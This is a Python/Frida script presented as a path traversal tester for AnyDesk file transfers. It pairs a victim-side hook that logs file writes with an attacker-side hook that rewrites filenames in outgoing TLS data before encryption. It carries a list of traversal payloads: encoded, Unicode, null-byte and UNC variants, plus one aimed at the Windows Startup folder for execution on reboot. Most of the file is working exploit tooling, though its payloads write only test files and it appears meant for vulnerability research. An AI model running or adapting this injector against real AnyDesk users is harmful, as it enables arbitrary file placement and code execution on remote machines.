"""
AnyDesk File Transfer Path Traversal Tester
Hooks the receiving side's file write operations and tests if AnyDesk
sanitizes filenames from the sender. Also hooks the sending side to
inject traversal paths into outgoing file transfer data.

PHASE 1: Run on VICTIM (receiving side) - monitors where files get written
PHASE 2: Run on ATTACKER (sending side) - injects traversal paths into protocol

Usage:
  python 03_traversal.py --phase monitor     (run on victim, then transfer a file)
  python 03_traversal.py --phase inject      (run on attacker, then transfer a file)
"""
import frida
import sys
import os
import json
import time
import argparse
from datetime import datetime

# ============================================================
# Phase 1: Monitor Agent — runs on the RECEIVING (victim) side
# Logs every file creation to see where AnyDesk writes files
# ============================================================
MONITOR_AGENT = r"""
'use strict';

const watchPaths = [];
let fileOps = [];

// Hook CreateFileW to see ALL file creations
const CreateFileW = Module.findExportByName('kernel32.dll', 'CreateFileW');
const CreateDirectoryW = Module.findExportByName('kernel32.dll', 'CreateDirectoryW');
const MoveFileW = Module.findExportByName('kernel32.dll', 'MoveFileW');
const MoveFileExW = Module.findExportByName('kernel32.dll', 'MoveFileExW');
const CopyFileW = Module.findExportByName('kernel32.dll', 'CopyFileW');

// Filter noise: only log paths that might be user files or interesting
function isInteresting(path) {
    if (!path) return false;
    const p = path.toLowerCase();
    // Skip system noise
    if (p.includes('\\device\\')) return false;
    if (p.includes('\\pipe\\')) return false;
    if (p.includes('\\windows\\system32\\')) return false;
    if (p.includes('\\windows\\syswow64\\')) return false;
    if (p.includes('\\appdata\\local\\temp\\') && p.includes('anydesk')) return true; // AnyDesk temp files are interesting
    if (p.includes('anydesk')) return true;
    // User profile paths
    if (p.includes('\\users\\')) return true;
    if (p.includes('\\desktop\\')) return true;
    if (p.includes('\\downloads\\')) return true;
    if (p.includes('\\documents\\')) return true;
    if (p.includes('\\startup\\')) return true;
    // Traversal indicators
    if (p.includes('..')) return true;
    return false;
}

function checkTraversal(path) {
    const flags = [];
    if (path.includes('..\\')) flags.push('BACKSLASH_TRAVERSAL');
    if (path.includes('../')) flags.push('FORWARDSLASH_TRAVERSAL');
    if (path.includes('..%5c')) flags.push('ENCODED_TRAVERSAL');
    if (path.includes('..%2f')) flags.push('ENCODED_TRAVERSAL');
    if (path.toLowerCase().includes('startup')) flags.push('STARTUP_FOLDER');
    if (path.toLowerCase().includes('start menu')) flags.push('START_MENU');
    return flags;
}

if (CreateFileW) {
    Interceptor.attach(CreateFileW, {
        onEnter(args) {
            const path = args[0].readUtf16String();
            if (isInteresting(path)) {
                const traversalFlags = checkTraversal(path);
                const access = args[1].toInt32();
                const disposition = args[4].toInt32();

                // GENERIC_WRITE or CREATE_ALWAYS/CREATE_NEW/OPEN_ALWAYS
                const isWrite = (access & 0x40000000) !== 0 ||
                               (access & 0x00000002) !== 0;  // FILE_WRITE_DATA
                const isCreate = disposition === 1 || disposition === 2 ||
                                disposition === 4;  // CREATE_NEW, CREATE_ALWAYS, OPEN_ALWAYS

                const op = {
                    type: 'CreateFileW',
                    path: path,
                    isWrite: isWrite,
                    isCreate: isCreate,
                    access: '0x' + (access >>> 0).toString(16),
                    disposition: disposition,
                    traversalFlags: traversalFlags,
                    timestamp: Date.now(),
                    stack: Thread.backtrace(this.context, Backtracer.ACCURATE)
                        .map(DebugSymbol.fromAddress).join('\n')
                };

                send({type: 'file_op', data: op});

                if (traversalFlags.length > 0) {
                    send({type: 'alert', msg: `TRAVERSAL DETECTED: ${path}`, flags: traversalFlags});
                }
                if (isWrite && isCreate) {
                    send({type: 'file_create', path: path, traversalFlags: traversalFlags});
                }
            }
        }
    });
}

if (MoveFileW) {
    Interceptor.attach(MoveFileW, {
        onEnter(args) {
            const src = args[0].readUtf16String();
            const dst = args[1].readUtf16String();
            send({type: 'file_move', src: src, dst: dst, timestamp: Date.now()});
        }
    });
}

if (MoveFileExW) {
    Interceptor.attach(MoveFileExW, {
        onEnter(args) {
            const src = args[0].readUtf16String();
            const dst = args[1].readUtf16String();
            send({type: 'file_move', src: src, dst: dst, timestamp: Date.now()});
        }
    });
}

if (CopyFileW) {
    Interceptor.attach(CopyFileW, {
        onEnter(args) {
            const src = args[0].readUtf16String();
            const dst = args[1].readUtf16String();
            send({type: 'file_copy', src: src, dst: dst, timestamp: Date.now()});
        }
    });
}

if (CreateDirectoryW) {
    Interceptor.attach(CreateDirectoryW, {
        onEnter(args) {
            const path = args[0].readUtf16String();
            if (isInteresting(path)) {
                send({type: 'dir_create', path: path, timestamp: Date.now()});
            }
        }
    });
}

send({type: 'status', msg: 'File monitor active. Transfer a file via AnyDesk now...'});
send({type: 'ready'});
""";

# ============================================================
# Phase 2: Inject Agent — runs on the SENDING (attacker) side
# Hooks TLS send to find and replace filenames with traversal paths
# ============================================================
INJECT_AGENT = r"""
'use strict';

const TRAVERSAL_PAYLOADS = %PAYLOADS%;
let currentPayloadIdx = 0;
let injectionCount = 0;

// The filename we're looking for (set by Python controller)
const TARGET_FILENAME = '%TARGET_FILENAME%';
const TARGET_FILENAME_WIDE = '%TARGET_FILENAME%'; // Will search for both UTF-8 and UTF-16

function findAndReplace(buf, searchStr, replaceStr) {
    const arr = new Uint8Array(buf);

    // Search for UTF-8 string
    const searchBytes = [];
    for (let i = 0; i < searchStr.length; i++) {
        searchBytes.push(searchStr.charCodeAt(i));
    }

    // Search for UTF-16LE string
    const searchBytesWide = [];
    for (let i = 0; i < searchStr.length; i++) {
        searchBytesWide.push(searchStr.charCodeAt(i));
        searchBytesWide.push(0);
    }

    let found = false;

    // Try UTF-8
    for (let i = 0; i <= arr.length - searchBytes.length; i++) {
        let match = true;
        for (let j = 0; j < searchBytes.length; j++) {
            if (arr[i + j] !== searchBytes[j]) { match = false; break; }
        }
        if (match) {
            send({type: 'injection', encoding: 'UTF-8', offset: i,
                  original: searchStr, replacement: replaceStr});
            // Replace with traversal payload (UTF-8)
            const replaceBytes = [];
            for (let k = 0; k < replaceStr.length; k++) {
                replaceBytes.push(replaceStr.charCodeAt(k));
            }
            // Pad with nulls if replacement is shorter
            for (let k = 0; k < searchBytes.length; k++) {
                arr[i + k] = k < replaceBytes.length ? replaceBytes[k] : 0;
            }
            found = true;
            break;
        }
    }

    // Try UTF-16LE
    if (!found) {
        for (let i = 0; i <= arr.length - searchBytesWide.length; i++) {
            let match = true;
            for (let j = 0; j < searchBytesWide.length; j++) {
                if (arr[i + j] !== searchBytesWide[j]) { match = false; break; }
            }
            if (match) {
                send({type: 'injection', encoding: 'UTF-16LE', offset: i,
                      original: searchStr, replacement: replaceStr});
                // Replace with traversal payload (UTF-16LE)
                const replaceBytesWide = [];
                for (let k = 0; k < replaceStr.length; k++) {
                    replaceBytesWide.push(replaceStr.charCodeAt(k));
                    replaceBytesWide.push(0);
                }
                for (let k = 0; k < searchBytesWide.length; k++) {
                    arr[i + k] = k < replaceBytesWide.length ? replaceBytesWide[k] : 0;
                }
                found = true;
                break;
            }
        }
    }

    return found;
}

// Hook EncryptMessage (SChannel) — modify data BEFORE encryption
const EncryptMessage = Module.findExportByName('sspicli.dll', 'EncryptMessage') ||
                       Module.findExportByName('secur32.dll', 'EncryptMessage');

if (EncryptMessage) {
    Interceptor.attach(EncryptMessage, {
        onEnter(args) {
            const pBufDesc = args[2];
            try {
                const cBuffers = pBufDesc.add(4).readU32();
                const pBuffers = pBufDesc.add(8).readPointer();

                for (let i = 0; i < cBuffers; i++) {
                    const bufPtr = pBuffers.add(i * 16);
                    const cbBuffer = bufPtr.readU32();
                    const bufType = bufPtr.add(4).readU32();
                    const pvBuffer = bufPtr.add(8).readPointer();

                    if (bufType === 1 && cbBuffer > 0 && cbBuffer < 1024 * 1024) {
                        const data = pvBuffer.readByteArray(cbBuffer);
                        const payload = TRAVERSAL_PAYLOADS[currentPayloadIdx % TRAVERSAL_PAYLOADS.length];

                        if (findAndReplace(data, TARGET_FILENAME, payload)) {
                            pvBuffer.writeByteArray(data);
                            injectionCount++;
                            currentPayloadIdx++;
                            send({type: 'injected', count: injectionCount, payload: payload});
                        }
                    }
                }
            } catch(e) {}
        }
    });
    send({type: 'status', msg: 'Hooked EncryptMessage for injection (SChannel)'});
}

// Also try OpenSSL hooks
const mods = Process.enumerateModules();
for (const m of mods) {
    if (m.name.toLowerCase().includes('ssl') || m.name.toLowerCase().includes('crypto')) {
        try {
            const exports = m.enumerateExports();
            for (const exp of exports) {
                if (exp.name === 'SSL_write') {
                    Interceptor.attach(exp.address, {
                        onEnter(args) {
                            const buf = args[1];
                            const len = args[2].toInt32();
                            if (len > 0 && len < 1024 * 1024) {
                                const data = buf.readByteArray(len);
                                const payload = TRAVERSAL_PAYLOADS[currentPayloadIdx % TRAVERSAL_PAYLOADS.length];
                                if (findAndReplace(data, TARGET_FILENAME, payload)) {
                                    buf.writeByteArray(data);
                                    injectionCount++;
                                    currentPayloadIdx++;
                                    send({type: 'injected', count: injectionCount, payload: payload});
                                }
                            }
                        }
                    });
                    send({type: 'status', msg: `Hooked ${exp.name} for injection (OpenSSL)`});
                }
            }
        } catch(e) {}
    }
}

send({type: 'status', msg: `Injection armed. Target filename: "${TARGET_FILENAME}"`});
send({type: 'status', msg: `${TRAVERSAL_PAYLOADS.length} traversal payloads loaded. Send a file transfer now...`});
send({type: 'ready'});
""";

# Traversal payloads to test
TRAVERSAL_PAYLOADS = [
    # Basic backslash traversal
    "..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_test.txt",
    # Forward slash
    "../../../../Users/Public/Desktop/traversal_test2.txt",
    # Mixed separators
    "..\\..\\..\\..\\Users/Public/Desktop/traversal_test3.txt",
    # Startup folder (would execute on reboot)
    "..\\..\\..\\..\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.txt",
    # Double encoding
    "..%5c..%5c..%5c..%5cUsers%5cPublic%5cDesktop%5ctraversal_test4.txt",
    # Unicode fullwidth backslash (U+FF3C)
    "..\uff3c..\uff3c..\uff3c..\uff3cUsers\uff3cPublic\uff3cDesktop\uff3ctraversal_test5.txt",
    # Null byte truncation
    "..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_test6.txt\x00ignored.png",
    # Long path
    "..\\..\\..\\..\\..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_deep.txt",
    # UNC path
    "\\\\localhost\\C$\\Users\\Public\\Desktop\\traversal_unc.txt",
    # Dot-dot with extra dots
    "...\\...\\...\\Users\\Public\\Desktop\\traversal_dots.txt",
]


def on_message_monitor(message, data):
    if message['type'] == 'send':
        payload = message['payload']
        msg_type = payload.get('type', '')

        if msg_type == 'status':
            print(f"  [*] {payload['msg']}")
        elif msg_type == 'ready':
            on_message_monitor.ready = True
        elif msg_type == 'file_op':
            d = payload['data']
            marker = ''
            if d['isWrite'] and d['isCreate']:
                marker = ' [WRITE+CREATE]'
            if d['traversalFlags']:
                marker += f' [!!!TRAVERSAL: {",".join(d["traversalFlags"])}!!!]'
            print(f"  [FILE] {d['type']}: {d['path']}{marker}")
            if d.get('stack'):
                # Show first 3 frames
                frames = d['stack'].split('\n')[:3]
                for f in frames:
                    print(f"         {f}")
        elif msg_type == 'file_create':
            flags = payload.get('traversalFlags', [])
            marker = f' [!!!{"·".join(flags)}!!!]' if flags else ''
            print(f"  [+FILE CREATED] {payload['path']}{marker}")
        elif msg_type == 'file_move':
            print(f"  [MOVE] {payload['src']} -> {payload['dst']}")
        elif msg_type == 'file_copy':
            print(f"  [COPY] {payload['src']} -> {payload['dst']}")
        elif msg_type == 'dir_create':
            print(f"  [MKDIR] {payload['path']}")
        elif msg_type == 'alert':
            print(f"\n  {'!'*60}")
            print(f"  [!!!] ALERT: {payload['msg']}")
            print(f"  [!!!] Flags: {payload['flags']}")
            print(f"  {'!'*60}\n")
    elif message['type'] == 'error':
        print(f"  [!] ERROR: {message['description']}")

on_message_monitor.ready = False


def on_message_inject(message, data):
    if message['type'] == 'send':
        payload = message['payload']
        msg_type = payload.get('type', '')

        if msg_type == 'status':
            print(f"  [*] {payload['msg']}")
        elif msg_type == 'ready':
            on_message_inject.ready = True
        elif msg_type == 'injection':
            print(f"  [FOUND] Filename at offset {payload['offset']} ({payload['encoding']})")
            print(f"          Original:    {payload['original']}")
            print(f"          Replacement: {payload['replacement']}")
        elif msg_type == 'injected':
            print(f"  [INJECTED #{payload['count']}] {payload['payload']}")
    elif message['type'] == 'error':
        print(f"  [!] ERROR: {message['description']}")

on_message_inject.ready = False


def find_anydesk_pid():
    import subprocess
    try:
        output = subprocess.check_output(
            ['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
            text=True, stderr=subprocess.DEVNULL
        )
        for line in output.strip().split('\n'):
            if 'AnyDesk' in line:
                parts = line.strip().strip('"').split('","')
                if len(parts) >= 2:
                    return int(parts[1].strip('"'))
    except:
        pass
    return None


def main():
    parser = argparse.ArgumentParser(description='AnyDesk File Transfer Path Traversal Tester')
    parser.add_argument('--phase', choices=['monitor', 'inject'], required=True,
                       help='monitor=watch file writes on victim, inject=modify filenames on attacker')
    parser.add_argument('--filename', default='traversal_probe.txt',
                       help='Filename to search for and replace (for inject phase)')
    args = parser.parse_args()

    print("=" * 60)
    print(f"  AnyDesk Path Traversal Tester — Phase: {args.phase.upper()}")
    print("=" * 60)

    pid = find_anydesk_pid()
    if not pid:
        print("[!] AnyDesk.exe not found.")
        sys.exit(1)

    print(f"[+] Found AnyDesk.exe (PID: {pid})")

    try:
        session = frida.attach(pid)
    except Exception as e:
        print(f"[!] Frida attach failed: {e}")
        print("[!] Run as Administrator.")
        sys.exit(1)

    if args.phase == 'monitor':
        print("[+] Monitoring file operations...")
        print("[+] Transfer a file via AnyDesk to this machine to see where it lands")

        script = session.create_script(MONITOR_AGENT, runtime='v8')
        script.on('message', on_message_monitor)
        script.load()

        for _ in range(100):
            if on_message_monitor.ready:
                break
            time.sleep(0.1)

        print(f"\n{'=' * 60}")
        print("  MONITORING — send a file to this AnyDesk instance now")
        print("  Press Ctrl+C to stop")
        print(f"{'=' * 60}\n")

    elif args.phase == 'inject':
        print(f"[+] Injection mode — target filename: '{args.filename}'")
        print(f"[+] Create a file named '{args.filename}' and transfer it via AnyDesk")

        payloads_json = json.dumps(TRAVERSAL_PAYLOADS)
        agent_code = INJECT_AGENT.replace('%PAYLOADS%', payloads_json)
        agent_code = agent_code.replace('%TARGET_FILENAME%', args.filename)

        script = session.create_script(agent_code, runtime='v8')
        script.on('message', on_message_inject)
        script.load()

        for _ in range(100):
            if on_message_inject.ready:
                break
            time.sleep(0.1)

        print(f"\n{'=' * 60}")
        print(f"  INJECTION ARMED — send '{args.filename}' via AnyDesk file transfer")
        print("  Press Ctrl+C to stop")
        print(f"{'=' * 60}\n")

    try:
        while True:
            time.sleep(0.1)
    except KeyboardInterrupt:
        print("\n[+] Stopped.")

    session.detach()

if __name__ == '__main__':
    main()